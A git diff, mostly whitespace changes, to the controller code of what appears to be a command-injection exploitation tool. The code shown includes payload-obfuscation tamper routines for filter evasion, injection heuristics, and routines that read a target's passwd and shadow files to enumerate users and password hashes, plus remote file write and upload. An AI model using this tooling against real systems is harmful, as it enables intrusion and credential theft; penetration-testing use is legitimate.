menu.options.tamper: menu.options.tamper = menu.options.tamper + ",backslashes" else: - menu.options.tamper = "backslashes" + menu.options.tamper = "backslashes" """ Check for quotes in the generated payloads. @@ -1421,7 +1421,7 @@ def check_quotes(payload): if menu.options.tamper: menu.options.tamper = menu.options.tamper + ",nested" else: - menu.options.tamper = "nested" + menu.options.tamper = "nested" # Check for (multiple) added double-quotes between the characters of the generated payloads. if payload.count("\"") >= 10 and settings.TARGET_OS != settings.OS.WINDOWS: @@ -1429,7 +1429,7 @@ def check_quotes(payload): if menu.options.tamper: menu.options.tamper = menu.options.tamper + ",doublequotes" else: - menu.options.tamper = "doublequotes" + menu.options.tamper = "doublequotes" # Check for (multiple) added single-quotes between the characters of the generated payloads. if payload.count("''") >= 10 and settings.TARGET_OS != settings.OS.WINDOWS: @@ -1437,7 +1437,7 @@ def check_quotes(payload): if menu.options.tamper: menu.options.tamper = menu.options.tamper + ",singlequotes" else: - menu.options.tamper = "singlequotes" + menu.options.tamper = "singlequotes" """ Recognise the payload. @@ -1448,15 +1448,15 @@ def recognise_payload(payload): if menu.options.tamper: menu.options.tamper = menu.options.tamper + ",sleep2usleep" else: - menu.options.tamper = "sleep2usleep" - + menu.options.tamper = "sleep2usleep" + elif "timeout" in payload: if not settings.TAMPER_SCRIPTS['sleep2timeout']: if menu.options.tamper: menu.options.tamper = menu.options.tamper + ",sleep2timeout" else: - menu.options.tamper = "sleep2timeout" - + menu.options.tamper = "sleep2timeout" + is_decoded = False encoded_with = "" check_value = payload @@ -1477,7 +1477,7 @@ def recognise_payload(payload): encoded_with = "hex" except Exception: pass - + elif re.match(settings.HEX_RECOGNITION_REGEX, check_value): decoded_payload, _ = hexdecode(check_value) if _: @@ -1522,11 +1522,11 @@ def recognise_payload(payload): elif procced_option in settings.CHOICE_QUIT: raise SystemExit() else: - common.invalid_option(procced_option) + common.invalid_option(procced_option) pass if is_decoded: - return _urllib.parse.quote(decoded_payload), encoded_with + return _urllib.parse.quote(decoded_payload), encoded_with else: return payload, encoded_with @@ -1562,7 +1562,7 @@ def perform_payload_modification(payload): from src.core.tamper import printf2echo payload = printf2echo.tamper(payload) - for sleep_type in list(set(settings.MULTI_ENCODED_PAYLOAD[::-1])): + for sleep_type in list(set(settings.MULTI_ENCODED_PAYLOAD[::-1])): # sleep to timeout if sleep_type == 'sleep2timeout': from src.core.tamper import sleep2timeout @@ -1581,34 +1581,34 @@ def perform_payload_modification(payload): if quotes_type == 'singlequotes': from src.core.tamper import singlequotes payload = singlequotes.tamper(payload) - + for mod_type in list(set(settings.MULTI_ENCODED_PAYLOAD[::-1])): # Add uninitialized variable. if mod_type == 'uninitializedvariable': from src.core.tamper import uninitializedvariable - payload = uninitializedvariable.tamper(payload) + payload = uninitializedvariable.tamper(payload) if mod_type == 'slash2env': from src.core.tamper import slash2env - payload = slash2env.tamper(payload) - # Add backslashes. + payload = slash2env.tamper(payload) + # Add backslashes. if mod_type == 'backslashes': from src.core.tamper import backslashes - payload = backslashes.tamper(payload) - # Add caret symbol. + payload = backslashes.tamper(payload) + # Add caret symbol. if mod_type == 'caret': from src.core.tamper import caret - payload = caret.tamper(payload) + payload = caret.tamper(payload) # Transfomation to nested command if mod_type == 'nested': from src.core.tamper import nested - payload = nested.tamper(payload) + payload = nested.tamper(payload) # Add dollar sign followed by an at-sign. if mod_type == 'dollaratsigns': from src.core.tamper import dollaratsigns - payload = dollaratsigns.tamper(payload) + payload = dollaratsigns.tamper(payload) for space_mod in list(set(settings.MULTI_ENCODED_PAYLOAD[::-1])): - # Encode spaces. + # Encode spaces. if space_mod == 'space2ifs': from src.core.tamper import space2ifs payload = space2ifs.tamper(payload) @@ -1623,7 +1623,7 @@ def perform_payload_modification(payload): payload = space2vtab.tamper(payload) for encode_type in list(set(settings.MULTI_ENCODED_PAYLOAD[::-1])): - # Encode payload to hex format. + # Encode payload to hex format. if encode_type == 'base64encode': from src.core.tamper import base64encode payload = base64encode.tamper(payload) @@ -1663,7 +1663,7 @@ def json_data(data): def is_empty(multi_parameters, http_request_method): all_empty = False if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Checking for empty values in provided data." + debug_msg = "Checking for empty values in provided data." print(settings.print_debug_msg(debug_msg)) empty_parameters = [] multi_params = [s for s in multi_parameters] @@ -1695,20 +1695,20 @@ def is_empty(multi_parameters, http_request_method): elif settings.IS_XML: if re.findall(r'>(.*)<', empty)[0] == "" or \ re.findall(r'>(.*)<', empty)[0] == settings.SINGLE_WHITESPACE: - empty_parameters.append(re.findall(r'', empty)[0]) + empty_parameters.append(re.findall(r'', empty)[0]) elif len(empty.split("=")[1]) == 0: empty_parameters.append(empty.split("=")[0]) except IndexError: if not settings.IS_XML: err_msg = "No parameter(s) found for testing in the provided data." print(settings.print_critical_msg(err_msg)) - raise SystemExit() - + raise SystemExit() + if len(empty_parameters) == len(multi_parameters): all_empty = True if menu.options.skip_empty: settings.SKIP_PARAMETER = empty_parameters - + empty_parameters = ", ".join(empty_parameters) if len(empty_parameters) > 0: if menu.options.skip_empty: @@ -1719,8 +1719,8 @@ def is_empty(multi_parameters, http_request_method): return False else: warn_msg = "The provided value" + "s"[len(empty_parameters.split(",")) == 1:][::-1] - warn_msg += " for " + http_request_method - warn_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + warn_msg += " for " + http_request_method + warn_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] warn_msg += " parameter" + "s"[len(empty_parameters.split(",")) == 1:][::-1] warn_msg += " '" + empty_parameters + "'" warn_msg += (' are ', ' is ')[len(empty_parameters.split(",")) == 1] + "empty. " @@ -1743,16 +1743,16 @@ def process_xml_data(): info_msg = "SOAP/XML data found in POST data." message = info_msg message += " Do you want to process it? [Y/n] > " - xml_process = common.read_input(message, default="Y", check_batch=True) + xml_process = common.read_input(message, default="Y", check_batch=True) if xml_process in settings.CHOICE_YES: settings.IS_XML = True break elif xml_process in settings.CHOICE_NO: - break + break elif xml_process in settings.CHOICE_QUIT: raise SystemExit() else: - common.invalid_option(xml_process) + common.invalid_option(xml_process) pass #Check if INJECT_TAG is enclosed in quotes (in json data) @@ -1785,16 +1785,16 @@ def process_json_data(): info_msg = "JSON data found in POST data." message = info_msg message += " Do you want to process it? [Y/n] > " - json_process = common.read_input(message, default="Y", check_batch=True) + json_process = common.read_input(message, default="Y", check_batch=True) if json_process in settings.CHOICE_YES: settings.IS_JSON = True break elif json_process in settings.CHOICE_NO: - break + break elif json_process in settings.CHOICE_QUIT: raise SystemExit() else: - common.invalid_option(json_process) + common.invalid_option(json_process) pass """ @@ -1869,7 +1869,7 @@ def print_ps_version(ps_version, filename, _): # Output PowerShell's version number info_msg = "Powershell version: " + ps_version print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. + # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: info_msg = "Powershell version: " + ps_version + "\n" @@ -1877,7 +1877,7 @@ def print_ps_version(ps_version, filename, _): output_file.close() except ValueError: warn_msg = "Heuristics have failed to identify the version of Powershell, " - warn_msg += "which means that some payloads or injection techniques may be failed." + warn_msg += "which means that some payloads or injection techniques may be failed." print(settings.print_warning_msg(warn_msg)) settings.PS_ENABLED = False ps_check_failed() @@ -1891,7 +1891,7 @@ def print_hostname(shell, filename, _): print(settings.SINGLE_WHITESPACE) info_msg = "Hostname: " + str(shell) print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. + # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: info_msg = info_msg + "\n" @@ -1910,7 +1910,7 @@ def print_current_user(cu_account, filename, _): print(settings.SINGLE_WHITESPACE) info_msg = "Current user: " + str(cu_account) print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. + # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: info_msg = info_msg + "\n" @@ -1932,9 +1932,9 @@ def print_current_user_privs(shell, filename, _): if settings.VERBOSITY_LEVEL == 0 and _: print(settings.SINGLE_WHITESPACE) - info_msg = "Current user has excessive privileges: " + str(priv) + info_msg = "Current user has excessive privileges: " + str(priv) print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. + # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: info_msg = info_msg + "\n" @@ -1950,7 +1950,7 @@ def print_os_info(target_os, target_arch, filename, _): print(settings.SINGLE_WHITESPACE) info_msg = "Operating system: " + str(target_os) + settings.SINGLE_WHITESPACE + str(target_arch) print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. + # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: info_msg = info_msg + "\n" @@ -1986,7 +1986,7 @@ def os_info_msg(self): def print_users_msg(self): if settings.TARGET_OS == settings.OS.WINDOWS: - info_msg = "Executing the 'net user' command " + info_msg = "Executing the 'net user' command " else: info_msg = "Fetching content of the file '" + settings.PASSWD_FILE + "' " info_msg += "in order to enumerate operating system users. " @@ -1994,7 +1994,7 @@ def print_users_msg(self): def print_passes_msg(self): info_msg = "Fetching content of the file '" + settings.SHADOW_FILE + "' " - info_msg += "in order to enumerate operating system users password hashes. " + info_msg += "in order to enumerate operating system users password hashes. " print(settings.print_info_msg(info_msg)) def print_single_os_cmd_msg(self, cmd): @@ -2018,10 +2018,10 @@ def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whi if settings.VERBOSITY_LEVEL == 0 and _: print(settings.SINGLE_WHITESPACE) info_msg = "Identified operating system" - info_msg += " user" + ('s', '')[len(sys_users_list) == 1] + info_msg += " user" + ('s', '')[len(sys_users_list) == 1] info_msg += " [" + str(len(sys_users_list)) + "]:" print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. + # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) @@ -2033,7 +2033,7 @@ def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whi # cmd = "powershell.exe -InputFormat none write-host (([string]$(net user " + sys_users_list[user] + ")[22..($(net user " + sys_users_list[user] + ").length-3)]).replace('Local Group Memberships','').replace('*','').Trim()).replace(' ','')" # if alter_shell: # cmd = escape_single_quoted_cmd(cmd) - # cmd = "cmd /c " + cmd + # cmd = "cmd /c " + cmd # from src.core.injections.results_based.techniques.classic import cb_injector # response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # check_privs = cb_injector.injection_results(response, TAG, cmd) @@ -2050,7 +2050,7 @@ def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whi # else : is_privileged = is_privileged = "" print(settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL) - # Add infos to logs file. + # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: if count == 1 : @@ -2068,8 +2068,8 @@ def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whi warn_msg = "It seems that you don't have permissions to enumerate operating system users." print(settings.print_warning_msg(warn_msg)) pass - - # Unix-like users enumeration. + + # Unix-like users enumeration. else: try: if sys_users: @@ -2089,7 +2089,7 @@ def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whi if not menu.options.no_logging: output_file.write(" " + sys_users) output_file.close() - else: + else: sys_users_list = [] for user in range(0, len(sys_users), 3): sys_users_list.append(sys_users[user : user + 3]) @@ -2097,10 +2097,10 @@ def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whi if settings.VERBOSITY_LEVEL == 0 and _: print(settings.SINGLE_WHITESPACE) info_msg = "Identified operating system" - info_msg += " user" + ('s', '')[len(sys_users_list) == 1] + info_msg += " user" + ('s', '')[len(sys_users_list) == 1] info_msg += " [" + str(len(sys_users_list)) + "]:" print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. + # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) @@ -2129,7 +2129,7 @@ def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whi is_privileged_nh = " is anonymous user " elif int(fields[1]) == 60002: is_privileged = Style.RESET_ALL + "is" + Style.BRIGHT + " non-trusted user " - is_privileged_nh = " is non-trusted user " + is_privileged_nh = " is non-trusted user " else: is_privileged = Style.RESET_ALL + "is" + Style.BRIGHT + " regular user " is_privileged_nh = " is regular user " @@ -2139,8 +2139,8 @@ def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whi else : is_privileged = "" is_privileged_nh = "" - print(settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + fields[0] + Style.RESET_ALL + "' " + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.") - # Add infos to logs file. + print(settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + fields[0] + Style.RESET_ALL + "' " + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.") + # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: if count == 1 : @@ -2150,25 +2150,25 @@ def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whi except ValueError: if count == 1 : warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is not in the " - warn_msg += "appropriate format. Thus, it is expoted as a text file." + warn_msg += "appropriate format. Thus, it is expoted as a text file." print(settings.print_warning_msg(warn_msg)) sys_users = " ".join(str(p) for p in sys_users.split(":")) - print(sys_users) + print(sys_users) output_file = open(filename, "a") if not menu.options.no_logging: output_file.write(" " + sys_users) output_file.close() else: # print(settings.SINGLE_WHITESPACE) - warn_msg = "It seems that you don't have permissions to read the '" + warn_msg = "It seems that you don't have permissions to read the '" warn_msg += settings.PASSWD_FILE + "'." - print(settings.print_warning_msg(warn_msg)) + print(settings.print_warning_msg(warn_msg)) except TypeError: pass except IndexError: # print(settings.SINGLE_WHITESPACE) - warn_msg = "Some kind of WAF/IPS/IDS probably blocks the attempt to read '" - warn_msg += settings.PASSWD_FILE + "' to enumerate operating system users." + warn_msg = "Some kind of WAF/IPS/IDS probably blocks the attempt to read '" + warn_msg += settings.PASSWD_FILE + "' to enumerate operating system users." print(settings.print_warning_msg(warn_msg)) pass @@ -2183,10 +2183,10 @@ def print_passes(sys_passes, filename, _, alter_shell): if settings.VERBOSITY_LEVEL == 0 and _: print(settings.SINGLE_WHITESPACE) info_msg = "Identified operating system" - info_msg += " user" + ('s', '')[len(sys_passes) == 1] + info_msg += " user" + ('s', '')[len(sys_passes) == 1] info_msg += " password hashes [" + str(len(sys_passes)) + "]:" print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. + # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg ) @@ -2199,7 +2199,7 @@ def print_passes(sys_passes, filename, _, alter_shell): fields = line.split(":") if not "*" in fields[1] and not "!" in fields[1] and fields[1] != "": print(" (" +str(count)+ ") " + Style.BRIGHT + fields[0] + Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL) - # Add infos to logs file. + # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: if count == 1 : @@ -2218,7 +2218,7 @@ def print_passes(sys_passes, filename, _, alter_shell): output_file.write(" " + fields[0]) output_file.close() else: - warn_msg = "It seems that you don't have permissions to read the '" + warn_msg = "It seems that you don't have permissions to read the '" warn_msg += settings.SHADOW_FILE + "' file." print(settings.print_warning_msg(warn_msg)) @@ -2231,7 +2231,7 @@ def print_single_os_cmd(cmd, shell): print(settings.print_retrieved_data(_, shell)) else: err_msg = common.invalid_cmd_output(cmd) - print(settings.print_error_msg(err_msg)) + print(settings.print_error_msg(err_msg)) """ Quote provided cmd @@ -2272,7 +2272,7 @@ def find_filename(dest_to_write, content): Decode base 64 encoding """ def win_decode_b64_enc(fname, tmp_fname): - cmd = settings.CERTUTIL_DECODE_CMD + tmp_fname.replace("\\","\\\\") + settings.SINGLE_WHITESPACE + fname.replace("\\","\\\\") + cmd = settings.CERTUTIL_DECODE_CMD + tmp_fname.replace("\\","\\\\") + settings.SINGLE_WHITESPACE + fname.replace("\\","\\\\") return cmd """ @@ -2291,7 +2291,7 @@ def remove_command_substitution(cmd): def remove_parenthesis(cmd): cmd = cmd.replace("(","").replace(")","") - return cmd + return cmd """ Write the file content @@ -2301,14 +2301,14 @@ def write_content(content, dest_to_write): if settings.TARGET_OS == settings.OS.WINDOWS: cmd = settings.WIN_FILE_WRITE_OPERATOR + dest_to_write.replace("\\","\\\\") + settings.SINGLE_WHITESPACE + "'" + content + "'" else: - cmd = settings.FILE_WRITE + content + settings.FILE_WRITE_OPERATOR + dest_to_write + cmd = settings.FILE_WRITE + content + settings.FILE_WRITE_OPERATOR + dest_to_write return cmd """ Delete filename """ def delete_tmp(tmp_fname): - cmd = settings.WIN_DEL + tmp_fname.replace("\\","\\\\") + cmd = settings.WIN_DEL + tmp_fname.replace("\\","\\\\") return cmd """ @@ -2329,7 +2329,7 @@ def change_dir(dest_to_write): dest_to_write = dest_to_write.replace("\\","/") path = os.path.dirname(dest_to_write) path = path.replace("/","\\") - cmd = "cd " + path + cmd = "cd " + path return cmd """ @@ -2337,7 +2337,7 @@ def change_dir(dest_to_write): """ def file_content_to_read(): file_to_read = menu.options.file_read.encode(settings.DEFAULT_CODEC).decode() - info_msg = "Fetching content of the file: '" + info_msg = "Fetching content of the file: '" info_msg += file_to_read + "'." print(settings.print_info_msg(info_msg)) if settings.TARGET_OS == settings.OS.WINDOWS: @@ -2408,7 +2408,7 @@ def check_file_to_write(): print(settings.SINGLE_WHITESPACE) dest_to_write = check_destination(destination=menu.options.file_dest) - info_msg = "Trying to write the content of the file '" + info_msg = "Trying to write the content of the file '" info_msg += file_to_write + "' on a remote directory '" + dest_to_write + "'." print(settings.print_info_msg(info_msg)) return file_to_write, dest_to_write, content @@ -2418,7 +2418,7 @@ def check_file_to_write(): """ def file_write_status(shell, dest_to_write): if shell: - info_msg = "The file has been successfully created on remote directory: '" + dest_to_write + "'." + info_msg = "The file has been successfully created on remote directory: '" + dest_to_write + "'." print(settings.print_bold_info_msg(info_msg)) else: warn_msg = "It seems that you don't have permissions to write files on the remote directory '" + dest_to_write + "'." @@ -2438,9 +2438,9 @@ def check_file_to_upload(): except ValueError as err_msg: err_msg = str(err_msg[0]).capitalize() + str(err_msg)[1] print(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit() dest_to_upload = check_destination(destination=menu.options.file_dest) - info_msg = "Trying to upload the file from '" + info_msg = "Trying to upload the file from '" info_msg += file_to_upload + "' on a remote directory '" + dest_to_upload + "'." print(settings.print_info_msg(info_msg)) # Execute command @@ -2468,7 +2468,7 @@ def file_upload(): # Check if not defined URL for upload. while True: message = "Do you want to enable a local HTTP server? [Y/n] > " - enable_HTTP_server = common.read_input(message, default="Y", check_batch=True) + enable_HTTP_server = common.read_input(message, default="Y", check_batch=True) if enable_HTTP_server in settings.CHOICE_YES: # Check if file exists @@ -2485,7 +2485,7 @@ def file_upload(): # check if IP address is valid ip_check = simple_http_server.is_valid_ipv4(ip_addr) if ip_check == False: - err_msg = "The provided IP address seems not valid." + err_msg = "The provided IP address seems not valid." print(settings.print_error_msg(err_msg)) pass else: @@ -2494,12 +2494,12 @@ def file_upload(): # Check for invalid HTTP server's port. if settings.LOCAL_HTTP_PORT < 1 or settings.LOCAL_HTTP_PORT > 65535: - err_msg = "Invalid HTTP server's port (" + str(settings.LOCAL_HTTP_PORT) + ")." + err_msg = "Invalid HTTP server's port (" + str(settings.LOCAL_HTTP_PORT) + ")." print(settings.print_critical_msg(err_msg)) raise SystemExit() - + http_server = "http://" + str(settings.LOCAL_HTTP_IP) + ":" + str(settings.LOCAL_HTTP_PORT) - info_msg = "Setting the HTTP server on '" + http_server + "/'. " + info_msg = "Setting the HTTP server on '" + http_server + "/'. " print(settings.print_info_msg(info_msg)) menu.options.file_upload = http_server + menu.options.file_upload simple_http_server.main() @@ -2510,11 +2510,11 @@ def file_upload(): err_msg = "The provided '--file-upload' option requires the activation of a local HTTP server." print(settings.print_critical_msg(err_msg)) raise SystemExit() - break + break elif enable_HTTP_server in settings.CHOICE_QUIT: raise SystemExit() else: - common.invalid_option(enable_HTTP_server) + common.invalid_option(enable_HTTP_server) pass """ @@ -2528,14 +2528,14 @@ def check_wrong_flags(): print(settings.print_warning_msg(warn_msg)) if menu.options.passwords: warn_msg = "The '--passwords' option, is not yet supported Windows targets." - print(settings.print_warning_msg(warn_msg)) + print(settings.print_warning_msg(warn_msg)) if menu.options.file_upload : warn_msg = "The '--file-upload' option, is not yet supported Windows targets. " warn_msg += "Instead, use the '--file-write' option." - print(settings.print_warning_msg(warn_msg)) + print(settings.print_warning_msg(warn_msg)) raise SystemExit() - else: - if menu.options.is_admin : + else: + if menu.options.is_admin : warn_msg = "Swithing the '--is-admin' to '--is-root' because " warn_msg += "the target has been identified as Unix-like. " print(settings.print_warning_msg(warn_msg)) @@ -2546,18 +2546,18 @@ def check_wrong_flags(): def define_py_working_dir(): if settings.TARGET_OS == settings.OS.WINDOWS and menu.options.alter_shell: while True: - message = "Do you want to use '" + settings.WIN_PYTHON_INTERPRETER + message = "Do you want to use '" + settings.WIN_PYTHON_INTERPRETER message += "' as Python working directory on the target host? [Y/n] > " python_dir = common.read_input(message, default="Y", check_batch=True) if python_dir in settings.CHOICE_YES: break elif python_dir in settings.CHOICE_NO: - message = "Please provide a custom working directory for Python (e.g. '" + message = "Please provide a custom working directory for Python (e.g. '" message += settings.WIN_PYTHON_INTERPRETER + "') > " settings.WIN_PYTHON_INTERPRETER = common.read_input(message, default=None, check_batch=True) break else: - common.invalid_option(python_dir) + common.invalid_option(python_dir) pass settings.USER_DEFINED_PYTHON_DIR = True diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index f2d73dcf16..262b731db4 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -9,7 +9,7 @@ it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ @@ -59,8 +59,8 @@ def check_for_stored_sessions(url, http_request_method): if session_handler.check_stored_parameter(url, http_request_method): if not settings.MULTI_TARGETS or not settings.STDIN_PARSING: settings.LOAD_SESSION = True - return True - + return True + """ Check for previously stored injection level. """ @@ -82,7 +82,7 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, settings.CLASSIC_STATE = True try: whitespace = settings.WHITESPACES[0] - if not settings.IDENTIFIED_COMMAND_INJECTION or settings.MULTI_TARGETS: + if not settings.IDENTIFIED_COMMAND_INJECTION or settings.MULTI_TARGETS: _ = 0 for payload in basic_payloads: _ = _ + 1 @@ -103,7 +103,7 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, menu.options.data and settings.INJECT_TAG in menu.options.data: if inject_http_headers: data = menu.options.data.replace(settings.INJECT_TAG,"").encode(settings.DEFAULT_CODEC) - else: + else: data = menu.options.data.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) else: if settings.INJECT_TAG in url: @@ -122,7 +122,7 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, if match: settings.IDENTIFIED_COMMAND_INJECTION = True info_msg = "Heuristic (basic) tests shows that " - info_msg += settings.CHECKING_PARAMETER + " might be injectable (possible OS: '" + ('Unix-like', 'Windows')[_ != 1] + "')." + info_msg += settings.CHECKING_PARAMETER + " might be injectable (possible OS: '" + ('Unix-like', 'Windows')[_ != 1] + "')." print(settings.print_bold_info_msg(info_msg)) break @@ -142,7 +142,7 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, t technique = "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "" settings.EVAL_BASED_STATE = True try: - if (not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO) or settings.MULTI_TARGETS: + if (not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO) or settings.MULTI_TARGETS: for payload in settings.PHPINFO_CHECK_PAYLOADS: if not inject_http_headers or (inject_http_headers and "'Host'" in check_parameter): if not any((settings.IS_JSON, settings.IS_XML)) or settings.COOKIE_INJECTION: @@ -161,7 +161,7 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, t menu.options.data and settings.INJECT_TAG in menu.options.data: if inject_http_headers: data = menu.options.data.replace(settings.INJECT_TAG,"").encode(settings.DEFAULT_CODEC) - else: + else: data = menu.options.data.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) else: if settings.INJECT_TAG in url: @@ -187,7 +187,7 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, t break if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO: info_msg = "Heuristic (basic) tests shows that " - info_msg += settings.CHECKING_PARAMETER + " might be injectable via " + technique + "." + info_msg += settings.CHECKING_PARAMETER + " might be injectable via " + technique + "." print(settings.print_bold_info_msg(info_msg)) break @@ -210,10 +210,10 @@ def classic_command_injection_technique(url, timesec, filename, http_request_met checks.skip_command_injection_tests() else: settings.CLASSIC_STATE = False - if settings.CLASSIC_STATE == None: + if settings.CLASSIC_STATE == None: checks.skipping_technique(technique, injection_type, settings.CLASSIC_STATE) -# Check if it's exploitable via dynamic code evaluation technique. +# Check if it's exploitable via dynamic code evaluation technique. def dynamic_code_evaluation_technique(url, timesec, filename, http_request_method): injection_type = "results-based dynamic code evaluation" technique = "dynamic code evaluation technique" @@ -255,7 +255,7 @@ def filebased_command_injection_technique(url, timesec, filename, http_request_m settings.FILE_BASED_STATE = settings.IDENTIFIED_COMMAND_INJECTION = True else: settings.FILE_BASED_STATE = False - if settings.FILE_BASED_STATE == None: + if settings.FILE_BASED_STATE == None: checks.skipping_technique(technique, injection_type, settings.FILE_BASED_STATE) """ @@ -264,7 +264,7 @@ def filebased_command_injection_technique(url, timesec, filename, http_request_m def injection_proccess(url, check_parameter, http_request_method, filename, timesec): if settings.PERFORM_BASIC_SCANS: basic_level_checks() - + inject_http_headers = False if (http_request_method == settings.HTTPMETHOD.GET and check_parameter.lower() not in url) or \ (http_request_method == settings.HTTPMETHOD.POST and menu.options.data and check_parameter.lower() not in menu.options.data): @@ -272,18 +272,18 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time any(x in check_parameter.lower() for x in settings.CUSTOM_HEADER_NAME): inject_http_headers = True - if menu.options.ignore_code: + if menu.options.ignore_code: info_msg = "Ignoring '" + str(menu.options.ignore_code) + "' HTTP error code. " print(settings.print_info_msg(info_msg)) - # User-Agent HTTP header / Referer HTTP header / + # User-Agent HTTP header / Referer HTTP header / # Host HTTP header / Custom HTTP header Injection(s) if check_parameter.startswith(settings.SINGLE_WHITESPACE): header_name = "" the_type = "HTTP header" check_parameter = " '" + check_parameter.strip() + "'" else: - if settings.COOKIE_INJECTION: + if settings.COOKIE_INJECTION: header_name = "Cookie" else: header_name = "" @@ -300,7 +300,7 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time settings.CHECKING_PARAMETER = "" if not header_name == "Cookie" and not the_type == "HTTP header": settings.CHECKING_PARAMETER = str(http_request_method) - settings.CHECKING_PARAMETER += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + settings.CHECKING_PARAMETER += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] if header_name == "Cookie" : settings.CHECKING_PARAMETER += str(header_name) + str(the_type) + str(check_parameter) else: @@ -310,13 +310,13 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time print(settings.print_info_msg(info_msg)) if menu.options.skip_heuristics: - if settings.VERBOSITY_LEVEL != 0: + if settings.VERBOSITY_LEVEL != 0: debug_msg = "Skipping heuristic (basic) tests to the " + settings.CHECKING_PARAMETER + "." print(settings.print_debug_msg(debug_msg)) else: if not settings.LOAD_SESSION: checks.recognise_payload(payload=settings.TESTABLE_VALUE) - if settings.VERBOSITY_LEVEL != 0: + if settings.VERBOSITY_LEVEL != 0: debug_msg = "Performing heuristic (basic) tests to the " + settings.CHECKING_PARAMETER + "." print(settings.print_debug_msg(debug_msg)) @@ -332,12 +332,12 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time if not settings.IDENTIFIED_COMMAND_INJECTION and not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO: warn_msg = "Heuristic (basic) tests shows that " warn_msg += settings.CHECKING_PARAMETER + " might not be injectable." - print(settings.print_bold_warning_msg(warn_msg)) + print(settings.print_bold_warning_msg(warn_msg)) if menu.options.failed_tries and \ menu.options.tech and not "f" in menu.options.tech and not \ menu.options.failed_tries: - warn_msg = "Due to the provided (unsuitable) injection technique" + warn_msg = "Due to the provided (unsuitable) injection technique" warn_msg += "s"[len(menu.options.tech) == 1:][::-1] + ", " warn_msg += "the option '--failed-tries' will be ignored." print(settings.print_warning_msg(warn_msg) + 